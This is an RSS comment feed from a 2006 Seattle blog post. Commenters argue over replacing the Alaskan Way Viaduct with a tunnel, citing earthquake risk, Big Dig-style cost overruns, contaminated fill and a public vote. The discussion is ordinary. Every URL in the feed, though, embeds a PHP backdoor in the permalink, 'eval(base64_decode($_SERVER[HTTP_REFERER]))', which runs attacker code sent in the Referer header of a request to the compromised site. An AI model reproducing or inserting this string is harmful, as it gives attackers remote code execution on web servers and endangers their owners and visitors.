Comments on: Try Harder? How about listening? http://nwbloggers.com/2006/12/18/try-harder-how-about-listening/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Wed, 08 Feb 2012 08:25:57 +0000 http://wordpress.org/?v=2.7 hourly 1 By: Playin' Possum http://nwbloggers.com/2006/12/18/try-harder-how-about-listening/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/comment-page-1/#comment-2744 Playin' Possum Wed, 20 Dec 2006 22:05:06 +0000 http://nwbloggers.com/2006/12/18/try-harder-how-about-listening/#comment-2744 The best argument for the tunnel is it would allow the current structure to be upgraded. There is a completely feasable plan to put "quake legs" on the current Viaduct, and it could be done faster... I know this is whistling past the graveyard, but what if the "big one" hits a week after the upgrades are completed? I'm pretty sure a tunnel can be made as earthquake proof as a bridge - if I'm wrong, I'd like an engineer to tell me why. As to the haz materials - that is an issue, and a big one. I know enough to guarantee this will be expensive. But it will probably have to be dealt with eventually, and there's no time like the present. Get that polluted fill out now. The best argument for the tunnel is it would allow the current structure to be upgraded. There is a completely feasable plan to put "quake legs" on the current Viaduct, and it could be done faster… I know this is whistling past the graveyard, but what if the "big one" hits a week after the upgrades are completed?
I’m pretty sure a tunnel can be made as earthquake proof as a bridge - if I’m wrong, I’d like an engineer to tell me why.
As to the haz materials - that is an issue, and a big one. I know enough to guarantee this will be expensive. But it will probably have to be dealt with eventually, and there’s no time like the present. Get that polluted fill out now.

]]> By: LSU http://nwbloggers.com/2006/12/18/try-harder-how-about-listening/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/comment-page-1/#comment-2610 LSU Wed, 20 Dec 2006 08:46:00 +0000 http://nwbloggers.com/2006/12/18/try-harder-how-about-listening/#comment-2610 <p>given the widespread impact and huge cost I support the public vote.</p> <p>Problem is if people say no, no one will care, they will build the tunnel anyway.</p> <p>Remember the stadiums?</p> given the widespread impact and huge cost I support the public vote.

Problem is if people say no, no one will care, they will build the tunnel anyway.

Remember the stadiums?

]]> By: PerriNelson http://nwbloggers.com/2006/12/18/try-harder-how-about-listening/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/comment-page-1/#comment-2517 PerriNelson Wed, 20 Dec 2006 00:01:50 +0000 http://nwbloggers.com/2006/12/18/try-harder-how-about-listening/#comment-2517 I don't know about a tunnel being a better option in the long run. I agree that it would free up more Seattle real estate, but a tunnel will take considerably longer to build and will result in much more traffic congestion during the time that it would take to build it than an elevated viaduct. Building a tunnel is not going to be less disruptive (<a href="http://seattletimes.nwsource.com/html/localnews/2003440902_viaduct21m.html" title="a tunnel is not going to be less disruptive" rel="nofollow">http://seattletimes.nwsource.com/html/localnews/2003440902_viaduct21m.html</a>). The projected timespan of the build is considerably longer than for building an elevated freeway, and traffic would have to be rerouted for a longer time. It's also likely to result in a lot of problems due to environmental cleanup that would have to be done. This is part of the projected cost of the tunnel. I also am very skeptical of the cost of the tunnel. They're very expensive to build and the history of cost overruns on similar projects isn't encouraging at all. Boston's "big dig" comes to mind, and so do all of the recent problems that were found with it, including shoddy construction and defective materials that were only discovered after the build was complete. No structure is earthquake proof. I doubt that a tunnel will be more earthquake proof than an elevated structure, which can take advantage of technologies that are used in modern buildings to reduce the risk of earthquake damage. A serious enough earthquake and a tunnel could collapse or flood, and be even more costly to repair than the viaduct. About the only thing I see wrong with bringing this to a vote of the people, which the Seattle City council was reluctant to do, is that the vote will be restricted to Seattle residents, and highway 99 is a State highway. Governor Gregoire has said the city will be responsible for making up the difference in costs, but that's not likely to hold. More than likely the extra costs will end up in next years tax package for the entire state. I don't know about a tunnel being a better option in the long run. I agree that it would free up more Seattle real estate, but a tunnel will take considerably longer to build and will result in much more traffic congestion during the time that it would take to build it than an elevated viaduct. Building a tunnel is not going to be less disruptive (http://seattletimes.nwsource.com/html/localnews/2003440902_viaduct21m.html). The projected timespan of the build is considerably longer than for building an elevated freeway, and traffic would have to be rerouted for a longer time. It's also likely to result in a lot of problems due to environmental cleanup that would have to be done. This is part of the projected cost of the tunnel. I also am very skeptical of the cost of the tunnel. They're very expensive to build and the history of cost overruns on similar projects isn't encouraging at all. Boston's "big dig" comes to mind, and so do all of the recent problems that were found with it, including shoddy construction and defective materials that were only discovered after the build was complete. No structure is earthquake proof. I doubt that a tunnel will be more earthquake proof than an elevated structure, which can take advantage of technologies that are used in modern buildings to reduce the risk of earthquake damage. A serious enough earthquake and a tunnel could collapse or flood, and be even more costly to repair than the viaduct. About the only thing I see wrong with bringing this to a vote of the people, which the Seattle City council was reluctant to do, is that the vote will be restricted to Seattle residents, and highway 99 is a State highway. Governor Gregoire has said the city will be responsible for making up the difference in costs, but that's not likely to hold. More than likely the extra costs will end up in next years tax package for the entire state.

]]> By: Playin' Possum http://nwbloggers.com/2006/12/18/try-harder-how-about-listening/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/comment-page-1/#comment-2484 Playin' Possum Tue, 19 Dec 2006 19:15:03 +0000 http://nwbloggers.com/2006/12/18/try-harder-how-about-listening/#comment-2484 Perhaps... And perhaps the politicians involved have concluded there is no good solution and don't want to have to pick a bad one they will be blamed for for years to come... I think Seatle would be better off with a tunnel in the [very] long run. Rebuilding the Viaduct will be a mess whereas building a tunnel will be somewhat less disruptive. And when a new Viaduct is done you are stuck with a dinosaur for the next 50 years. How much will change in 50 years? A tunnel will free up and help to reorganize a lot of valuable real estate, and Seattle real estate will only become more dear as time goes on. A tunnel can probably be made more earthquake proof... A lot of good arguments exist as to why a tunnel is "best." A very best approach might be to shore up the Viaduct while starting on a tunnel. But you can't afford "best" or "very best," so I guess you get the Geo Metro instead of the Volvo... Perhaps… And perhaps the politicians involved have concluded there is no good solution and don’t want to have to pick a bad one they will be blamed for for years to come…
I think Seatle would be better off with a tunnel in the [very] long run. Rebuilding the Viaduct will be a mess whereas building a tunnel will be somewhat less disruptive. And when a new Viaduct is done you are stuck with a dinosaur for the next 50 years. How much will change in 50 years? A tunnel will free up and help to reorganize a lot of valuable real estate, and Seattle real estate will only become more dear as time goes on. A tunnel can probably be made more earthquake proof…
A lot of good arguments exist as to why a tunnel is "best." A very best approach might be to shore up the Viaduct while starting on a tunnel. But you can’t afford "best" or "very best," so I guess you get the Geo Metro instead of the Volvo…

]]>